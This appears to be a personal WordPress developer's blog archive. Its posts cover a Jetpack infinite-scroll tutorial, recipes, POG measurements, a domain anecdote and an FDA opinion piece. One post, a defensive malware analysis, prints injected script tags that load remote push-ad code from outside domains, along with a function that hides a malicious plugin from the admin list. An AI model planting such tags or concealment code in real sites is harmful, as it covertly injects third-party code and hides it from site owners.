Jetpack Infinite Scroll for Single Posts!

Had a problem come up recently where folks wanted to keep engaging visitors on their website on a single post page — keep loading more posts afterwards when they kept scrolling.

I’ve heard of this before, and even seen some plugins accomplish it — for example, Infinite Post Transporter, by Tom Harriganwp.org / github — the codebase of which looks to be a modified version of Jetpack’s Infinite Scroll from about six years ago — (contemporary link).

So, I was curious to see how far I could go about getting close to what we needed just by playing with Jetpack’s own library, rather than duplicating a bunch of the code in a second plugin.

For anyone that wants to skip to the end and just get something to play with, here’s the gist that I’ve got the code shoved into for now.

First, a couple specifications we’re working with here:

  • I want to make this work on single post pages, specifically of the post post_type.
  • I don’t want to modify Jetpack files, or deregister / replace them with customized versions of the files. Filters / actions only.

So, skimming through the Jetpack Infinite Scroll codebase, there’s a couple conditionals we’re gonna need to short out to get things triggering on single post pages.

The bulk of the per-page code comes from The_Neverending_Home_Page::action_template_redirect() — this is the function that will register/enqueue Infinite Scroll’s scripts and styles, and set up footer actions to populate some javascript globals that specify state. However, for single posts, we’ll need to override two points.

		if ( ! current_theme_supports( 'infinite-scroll' ) || ! self::archive_supports_infinity() )
			return;

By default, single posts aren’t archives, and don’t work. So let’s hotwire it! Digging into The_Neverending_Home_Page::archive_supports_infinity() we can see that the whole response to that call is simply passed through a filter — `infinite_scroll_archive_supported`

		/**
		 * Allow plugins to filter what archives Infinite Scroll supports.
		 *
		 * @module infinite-scroll
		 *
		 * @since 2.0.0
		 *
		 * @param bool $supported Does the Archive page support Infinite Scroll.
		 * @param object self::get_settings() IS settings provided by theme.
		 */
		return (bool) apply_filters( 'infinite_scroll_archive_supported', $supported, self::get_settings() );

So to filter this, we’ll want to make sure we’re using the right conditionals and not filtering too many pages. In this case, is_singular( 'post' ) feels appropriate.

For brevity here, I’ll just be using anonymous functions, but in practice it’s likely far better to name your functions so other code can remove the filters if it becomes necessary.

add_filter( 'infinite_scroll_archive_supported', function ( $supported ) {
	if ( is_singular( 'post' ) ) {
		return true;
	}
	return $supported;
} );

Groovy, now we’ve got the function registering the scripts we care about. But there’s a second conditional later in the ::action_template_redirect() method that we also get snagged on — ::is_last_batch().

		// Make sure there are enough posts for IS
		if ( self::is_last_batch() ) {
			return;
		}

Fortunately, like our last example, The_Neverending_Home_Page::is_last_batch() is also filterable.

		/**
		 * Override whether or not this is the last batch for a request
		 *
		 * @module infinite-scroll
		 *
		 * @since 4.8.0
		 *
		 * @param bool|null null                 Bool if value should be overridden, null to determine from query
		 * @param object    self::wp_query()     WP_Query object for current request
		 * @param object    self::get_settings() Infinite Scroll settings
		 */
		$override = apply_filters( 'infinite_scroll_is_last_batch', null, self::wp_query(), self::get_settings() );
		if ( is_bool( $override ) ) {
			return $override;
		}

So again, we can just override it as we had before, only this case returning false:

add_filter( 'infinite_scroll_is_last_batch', function ( $is_last_batch ) {
	if ( is_singular( 'post' ) ) {
		return false; // Possibly retool later to confirm there are other posts.
	}
	return $is_last_batch;
} );

Great! So now we’ve got the scripts that do the work being output on our single posts page, but we’re not quite there yet! We need to change some of the variables being passed in to Jetpack’s Infinite Scroll. To modify those variables, we have — you guessed it — another filter.

The JS Settings are being output in The_Neverending_Home_Page::action_wp_footer_settings() (rather than being added via wp_localize_script), and here’s the filter we’ll be working off of:

		/**
		 * Filter the Infinite Scroll JS settings outputted in the head.
		 *
		 * @module infinite-scroll
		 *
		 * @since 2.0.0
		 *
		 * @param array $js_settings Infinite Scroll JS settings.
		 */
		$js_settings = apply_filters( 'infinite_scroll_js_settings', $js_settings );

so we’ll start with a generic action like this, and start customizing:

add_filter( 'infinite_scroll_js_settings', function ( $js_settings ) {
	if ( is_singular( 'post' ) ) {
		$js_settings['foo'] = 'bar'; // any we need to make!
	}
	return $js_settings;
} );

We can verify this change is in place by loading up a single post page, and searching for foo — confirming that it’s in the encoded string that’s being output to the page. So now we need to start looking at the javascript that runs and see what changes to inputs we may need to make.

First, we’ll need to make sure that the wrapper container we want to append our new posts to is the same as the ID that we use on archive pages. If it’s not, we just need to override that. In my case, I had to change that to main on the single post pages — which can be done like so:

$js_settings['id'] = 'main';

If your wrapper id is the same as archive pages, this can just be skipped. Here we can also override some other options — for example if we would rather change the verbiage on the load more posts button we could do

$js_settings['text'] = __( 'Read Next' );

or to switch from the button click, to autoloading on scroll we could do

$js_settings['type'] = 'scroll';

Now, if you tried what we have so far, you may notice that instead of getting new posts, you’ll likely see the same post loading over and over forever. That’s because of the parameters getting passed through as query_args — if you pop open your browser window to examine infiniteScroll.settings and look at the query_args param, you’ll likely notice that we’ve gotten the infiniteScroll.settings.query_args.name populated! This is getting passed directly to the ajax query, so when trying to pull up more posts, it’s restricting it to only the already queried post, as that’s from the query WordPress ran to generate the current url’s response.

So let’s just nuke it, and for good measure ensure we don’t inadvertently re-display the post in question.

$js_settings['query_args']['name'] = null;
$js_settings['query_args']['post__not_in'][] = get_the_ID();

Cool cool cool. So at this point, when you run the post, everything /should/ look about right, except for one small thing! You may see the url updating as you scroll to append /page/2/ to the path!

Unfortunately a lot of this functionality is hard-coded and I couldn’t find a good way to override it to update the url to — for example — the url of the post you’ve currently got in view, so I wound up doing the next best thing — nuking the functionality entirely.

	/**
	 * Update address bar to reflect archive page URL for a given page number.
	 * Checks if URL is different to prevent pollution of browser history.
	 */
	Scroller.prototype.updateURL = function ( page ) {
		// IE only supports pushState() in v10 and above, so don't bother if those conditions aren't met.
		if ( ! window.history.pushState ) {
			return;
		}
		var self = this,
			pageSlug = self.origURL;

		if ( -1 !== page ) {
			pageSlug =
				window.location.protocol +
				'//' +
				self.history.host +
				self.history.path.replace( /%d/, page ) +
				self.history.parameters;
		}

		if ( window.location.href != pageSlug ) {
			history.pushState( null, null, pageSlug );
		}
	};

As the js relies on rewriting the url via calling .replace() on a string, if we eat the token it searches for off the end, it’ll just wind up replacing the url with itself, and doesn’t look awkward. And so —

$js_settings['history']['path'] = str_replace( 'page/%d/', '', $js_settings['history']['path'] );

So, functionally this should get you most of the way there. The only other bit that I had added to my implementation was something that could trivially be done anywhere — Custom CSS in the Customizer, or theme files — but I wanted to hide Post Navigation links in my theme. So I just did a fun little trick of enqueueing my one line css tweak (with appropriate conditionals) like so:

add_action( 'template_redirect', function () {
	if ( ! class_exists( 'Jetpack' ) || ! Jetpack::is_module_active( 'infinite-scroll' ) ) {
		return;
	}

	if ( is_singular( 'post' ) ) {
		// jisfsp = Jetpack Infinite Scroll for Single Posts
		wp_register_style( 'jisfsp', null );
		wp_enqueue_style( 'jisfsp' );
		wp_add_inline_style( 'jisfsp', 'nav.post-navigation { display: none; }' );
	}
} );

This way, if someone disables either Jetpack or infinite scroll, the conditional trips and it stops hiding post navigation links.

I hope this has been somewhat useful to someone. It’s probably not at the point where I’d be comfortable packaging it up as a plugin for end-user installation, but if you’ve got a passing understanding of code and how WordPress works, it shouldn’t be difficult to re-implement for a client. If there’s any other tweaks on Infinite Scroll that you wind up finding and would like to suggest, please feel free to leave a comment below, and it’ll hopefully be useful to others. Cheers!

The Genealogy of Malware

While working on Jetpack Security, one thing I have a greater opportunity than most to do is inspect naughty bits of code that get injected into a user’s site.

One that I stumbled upon this past week reminded me of another from a bit ago — I can’t say precisely what reminded me of it, but my brain connected the two. So I looked back to find the prior infection and this is what turned up:

https://www.diffchecker.com/MYId3pFX

Clearly — a number of similarities between the two files. Of the four hundred plus lines in question, only fifty or so contain any changes, and most of those are namespace changes — changing mont to ccode, or perhaps some subtle refinements on how it detects the remote visitor’s IP address.

One of the most interesting aspects — to me anyways — is tracing the source of various snippets used in the code.

Good artists copy. Great artists steal.

Steve Jobs, misattributing a quotation to Pablo Picasso

So firstly, when skimming the code, around line 20, I found the following:

add_filter('plugin_action_links_'.plugin_basename(__FILE__), 'salcode_add_plugin_page_settings_link');
function salcode_add_plugin_page_settings_link( $links ) {
	$links[] = '<a href="' .
		admin_url( 'options-general.php?page=monit' ) .
		'">' . __('Settings') . '</a>';
	return $links;
}

Huh — it references salcode — I know that namespace, it’s commonly used by Sal Ferrarello! Figuring it may have been lifted off an article he’d written, I reached out to check. Sure enough, he had a 2014 article called “WordPress Plugin Add Settings Link” that he pointed me towards — and sure enough, the code was a straight copy/paste job in the Monitization variant. In the Custom Code variant of the malware, it was tweaked to be namespaced a bit further (changing the trailing link to ccode, but the similarities are still there.

We also can glean a bit from the tags that the code tries to inject. The original attempts:

<script type="text/javascript" src="//ofgogoatan.com/apu.php?zoneid=3260072" async data-cfasync="false"></script>
<script src="https://pushsar.com/pfe/current/tag.min.js?z=3260077" data-cfasync="false" async></script>
<script type="text/javascript" src="//inpagepush.com/400/3324386" data-cfasync="false" async="async"></script>

Where the latter Custom Code implementation attempts:

<script>(function(s,u,z,p){s.src=u,s.setAttribute('data-zone',z),p.appendChild(s);})(document.createElement('script'),'https://iclickcdn.com/tag.min.js',3388587,document.body||document.documentElement)</script>
<script src=\"https://propu.sh/pfe/current/tag.min.js?z=3388595\" data-cfasync=\"false\" async></script>
<script type=\"text/javascript\" src=\"//inpagepush.com/400/3388600\" data-cfasync=\"false\" async=\"async\"></script>

Beside the swap from which quotes need escaping due to single vs double in the wrapping string, we can see a couple notable bits:

  • The first tag seems to have been swapped out in its entirety.
  • The second tag seems to have swapped from pushsar.com to propu.sh — with the general url structure remaining the same. This can indicate the service just changed domains, and kept everything else business as usual.
  • The last tag remained as before — inpagepush.com — but just changing the identifier on the end.

A bit later on, we can find several instances where the mont namespace (possibly typo’d from monit) was not changed to ccode

    register_setting( 'ccode-settings', 'default_mont_options' );
if(get_option('default_mont_options') !=='on')

At the end of the file, we’re confronted with this bit:

function hide_plugin_trickspanda() {
  global $wp_list_table;
  $hidearr = array('monit.php');
  $myplugins = $wp_list_table->items;
  foreach ($myplugins as $key => $val) {
    if (in_array($key,$hidearr)) {
      unset($wp_list_table->items[$key]);
    }
  }
}

Here again, we’ve got a strong hint from the namespace, trickspanda. So in this case, it came from an article that Hardeep Asrani wrote on Tricks Panda — again, back in 2014. The Monitization variant didn’t seem to change the namespace, leaving it as trickspanda, but the later Custom Code variant swapped it out to ccode.

Finally, at the conclusion of the Custom Code variant (not present in the original) we can see the following:

        function getVisIpAddr_ccode() { 
      
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) { 
        return $_SERVER['HTTP_CLIENT_IP']; 
    } 
    else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { 
        return $_SERVER['HTTP_X_FORWARDED_FOR']; 
    } 
    else { 
        return $_SERVER['REMOTE_ADDR']; 
    } 
}

As it is, this seems to have been lifted from a Geeks For Geeks article dated May 2019. The code uses it up above to handle instances where traffic comes through a load balancer or proxy or the like, with original IP addresses in the header. Interestingly enough, for anyone else who has a need for similar functionality, WordPress Core ships with a similar function already, get_unsafe_client_ip().

So what have we found? Code gets reused, a lot. Old tutorials from 2014 can still offer information going strong years afterwards. Be wise what bits of bad code you use to fingerprint it and identify future infections, as it’s far better to find the unremarkable but unique bits, than the bits they may change to conceal it from future iterations.

Star Wars Galaxy’s Edge Set Dressing

Here’s a bunch of photos I took last week at Star Wars Galaxy’s Edge – Black Spire Outpost in Disneyland. I thought they may be useful for anyone trying to build a similar thematic structure, either for dressing up a home theater room, or just to add some spice to a family room.

So that I don’t lose it: Stifado Recipe

Ingredients: 

  • 2-3 lbs beef, cubed
  • 2-3 lbs pearled onions
  • 1 large yellow onion, chopped
  • 1 28 oz can tomatoes
  • 1 cup dry red wine
  • ¼ cup red wine vinegar
  • ⅓ cup olive oil
  • 3 cloves garlic, bruised
  • 1 tsp sugar
  • Spice bag:
    • 2 bay leaves
    • 1 tablespoon allspice berries
    • 2 3-inch cinnamon sticks
  1. In a stew pot / dutch oven, over medium-low heat, add the chopped onion, half the olive oil, and ¼ cup water.  Cook until the wayer has evaporated and the onion is soft and translucent, about 10 minutes.
  2. To the onions, add the garlic and tomatoes.  Cook, stirring, until the sauce is thick, about 20 minutes.
  3. Rinse the beef, drain, pat dry.  Season lightly with salt and pepper.  Heat the remaining olive oil in a skillet until hot.  Brown the beef over high heat, add to the tomato sauce.
  4. Add the red wine to the skillet to deglaze, and bring to a boil while scraping up any fond from the bottom of the pan.  Add the pearled onions and sugar, and cook over medium-high heat, stirring, until the wine is reduced to a glaze and the onions are lightly browned, about 5 minutes.
  5. Add 3 tablespoons of the red wine vinegar to the onions, and bring to a boil.
  6. Add the spice bag and the onions and wine sauce to the beef and tomato sauce mixture.
  7. Cover and cook over low heat for 2-2½ hours.

 

The Dimensions of POGs

Because of reasons, I’ve had cause to dig out my old POG collection and take detailed measurements of them.  Here’s what I’ve come up with:

A POG Milkcap measures:

  • 41.37 mm or 1.6285 inches in diameter.
  • 1.25 mm or 0.0490 inches in thickness.
  • Forty POGs weigh 1.65 oz or ~0.041 oz per POG.
  • Forty POG measure 2.0310 inches in thickness

An off-brand Slammer is:

  • 42.80 mm or 1.6850 inches in diameter.
  • 5.91 mm or 0.235 inches in thickness.
  • 0.30 oz.

So, a Slammer is approximately 4-5 POGs in thickness, about 1.5mm larger in diameter, and weighs approximately 7-8 times as much as an individual POG.

 

When Mike Pence Comes to Your Alma Mater

I’ll be writing a similar letter to my alma mater’s leadership shortly.

Very disappointed right now.

Grace Leuenberger

caleb-woods-166819.jpgBelow is a letter I sent to my alma mater. I am sharing it here not because I want to make people mad, but because I spent four years hardly ever discussing my political views as a student. I believe the choice to bring Mike Pence to our college is short-sighted, and that many wise, remarkable individuals could have better aligned with the viewpoints and values of the college, its students, its staff, and its alumni. I care about my college too much not be disappointed and worried about the implications this invitation has. I invite respectful dialogue and alternative viewpoints in the comments below. 


Dear Grove City College leadership,

I send this letter today with a desire to respectfully disagree with the recent decision to invite Vice President Michael Pence to speak at this year’s Commencement exercises. Though I recognize that my letter will not alter the decision or…

View original post 1,424 more words

Chicken Tender Wrap

Chicken Tender Wrap

  • Servings: 1
  • Difficulty: Easy
  • Print

Food of the Gods

One of the best things about my college experience at Grove City was the one unique, delectable item on the menu that — to date — I’ve never seen quite duplicated elsewhere.  So for any other Grovers out there that miss the taste of the Chicken Tender Wrap, here’s what I’ve come up with as a pretty darn close approximation.

Credit: Angela Starosta and Matt Schiavone for help piecing back together the recipe.

Ingredients

  • 1 large burrito-size tortilla
  • Diced plum tomatoes
  • Chopped iceberg lettuce
  • 2 Chicken Tenders
  • Ranch dressing
  • Hot sauce (optional)
  • White rice
  • Shredded mild cheddar cheese

Directions

  1. Put two frozen chicken tenders in a microwave safe bowl, and microwave for 1m30.
  2. Put the tortilla wrap you’re using on a plate.  Spread some diced tomatoes and chopped lettuce as a base.
  3. Take the (now hot) chicken out of the microwave, and put it in some hot oil in a skillet over medium heat for about 30-45 seconds per side.
  4. Take the chicken tenders out of the oil, put them on a cutting board, and chop them into maybe ½” chunks.
  5. In the same microwave safe bowl, put approximately equal quantities of white rice, and then shredded cheddar cheese in, and microwave for 1m30.
  6. Spread the chicken on top of the lettuce on the wrap.  Add your desired quantities of ranch dressing and hot sauce.
  7. Take the melted cheese and rice out of the microwave and combine it with a spoon until it’s mixed.  Add this on top of the chicken.
  8. Wrap, folding the edges, and slice it on a bias.  Enjoy!

Disclaimer: You’ll want a bigger tortilla than I’m using in the pictures.  I wound up having way too much stuff in it, and had to split it into two wraps after trying to wrap it.

Kiri Kiri Basara, a lesson in domains

Howdy!  If you’re here, one of two things happened.

Either you follow me on social media or my blog and found this new post, or you’re an anime fan watching Occultic;Nine, and saw the domain kirikiribasara.com in episode one and tried typing it into a web browser.  That domain — for now — redirects to here.

Here begins the lesson:

If you’re ever using a domain name in a movie, or a tv show, or in a presentation — any form, really — do yourself a favor and make sure you buy the domain before you go live.

It’ll cost you like $12, tops.  If your show flops, no big deal.  You don’t need to renew it for a subsequent year.  But if it takes off — or even if someone pulls up the domain just right after airtime, it’s a great tool to engage your users.

Or, you could not buy it, and some rando on the internet (hi there) can scoop the domain up for $12 on Google Domains.  Or cheaper if I wanted to go elsewhere.

Also, if you would like to start your own affiliate blog (like the domain was used for in the anime), I’d suggest building at WordPress.com!

As an aside, I’m not really looking to sell the domain, I just think it’s funny, but if anyone does desperately want the domain to run some sort of fan-forum or if the show’s producers are interested, feel free to drop me a line — the contact form on this site should work, and I’m fairly easy to reach on social media. 🙂

On the FDA and E Cigarettes

DISCLAIMER: While I may enjoy a rare cigar or pipe of tobacco perhaps once or twice per year, I don’t regularly consume tobacco products or nicotine. This post is more my musings on the bureaucracy and workings of the federal government.

Yesterday, the Food and Drug Administration (FDA) expanded its regulation authority to include “Vaporizers, vape pens, hookah pens, electronic cigarettes (e-cigs), and e-pipes are some of the many types of Electronic Nicotine Delivery Systems (ENDS)”.

I have concerns.

According to their press release,

Examples of components and parts of ENDS include, but are not limited to:

  • E-liquids
  • A glass or plastic vial container of e-liquid
  • Cartridges
  • Atomizers
  • Certain batteries
  • Cartomizers and clearomizers
  • Digital display or lights to adjust settings
  • Tank systems
  • Drip tips
  • Flavorings for ENDS
  • Programmable software

So, in short, it’s regulating all of the paraphernalia associated with vaping, and not merely the nicotine itself.

This is concerning to me.

Back in my college days, I used to smoke a (tobacco) pipe and cigars on a weekly basis with other students.  It was a communal event, and I learned to blow smoke rings.  As I’ve grown in the decade since then, I’ve lost the inclination to smoke, and really have no desire for nicotine.  I’ll occasionally smoke a pipe socially with friends once or twice a year, but I do enjoy blowing smoke rings.

As such, I own an electronic cigarette, and I purchased a quart of food-grade USP Propylene Glycol — the base liquid that most suppliers use when making liquid for vaping — and I’ll occasionally use it to blow smoke rings in my office.  No nicotine, no flavorings.

By my understanding, the FDA’s regulation of E-liquids has no limitation to “We only regulate E-liquids that contain nicotine” — in fact, they even state explicitly that:

If the tobacco product manufacturer submits a self-certification statement to FDA that the newly-regulated tobacco product does not contain nicotine (and that the manufacturer has data to support this assertion), then an alternate statement must be used on product packages and advertisements:

“This product is made from tobacco.”

Keep in mind that they are also broadly defining “Tobacco Product” to include all ENDS including all E-liquids and cartridges, atomizers, and even certain batteries. They must be labeled (falsely) that it is made from tobacco?

This feels like a significant overreach.

It strikes me that a similar regulatory effect could be accomplished, simply by exclusively regulating exclusively substances that contain nicotine. What is gained by having the Food and Drug Administration regulating the batteries that power vaporizers? Regulate the nicotine. If someone’s selling electronic cigarettes that come preloaded with nicotine? Sure, regulate that.  But leave the rest alone.